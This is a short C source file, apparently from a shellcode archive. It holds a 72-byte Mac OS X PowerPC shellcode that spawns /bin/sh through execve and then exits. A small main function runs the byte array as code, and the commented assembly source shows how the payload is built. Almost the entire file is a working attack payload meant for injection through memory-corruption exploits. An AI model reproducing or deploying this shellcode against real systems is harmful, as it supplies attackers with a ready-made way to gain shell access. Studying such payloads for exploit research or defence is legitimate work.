/*
 * [MacOSX/PowerPC]
 * Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL), exit()
 * 72 bytes
 * hophet [at] gmail.com
 * http://www.nlabs.com.br/~hophet/
 *
 */

#include "stdio.h"
#include "string.h"

char shellcode[] = 

"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6"
"\x3b\xeb\x01\x71"
"\x39\x40\x01\x71"
"\x39\x1f\xfe\xce"
"\x7c\xa8\x29\xae"
"\x38\x7f\xfe\xc7"
"\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8"
"\x38\x0a\xfe\xca"
"\x44\xff\xff\x02"
"\x60\x60\x60\x60"
"\x38\x0a\xfe\x90"
"\x44\xff\xff\x02"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x54";

int main() {

	void (*p)();
	p = (void *)&shellcode;
	printf("Lenght: %d\n", strlen(shellcode));
	p();
}
/*
.globl _main
.text
_main:
        xor.    r5, r5, r5	// r5 = NULL
        bnel    _main
        mflr    r11
        addi    r31, r11, 369
        li      r10, 369
        addi    r8, r31, -306
        stbx    r5, r8, r5
        addi    r3, r31, -313
        stw     r3, -8(r1)	// [/bin/sh]
        stw     r5, -4(r1)
        subi    r4, r1, 8	// [/bin/sh]
        addi    r0, r10, -310	// r0 = 59
        .long   0x44ffff02	// sc opcode
        .long	0x60606060	// NOP
        addi    r0, r10, -368	// r0 = 1
        .long   0x44ffff02	// sc opcode
string:	.asciz	"/bin/shT"
*/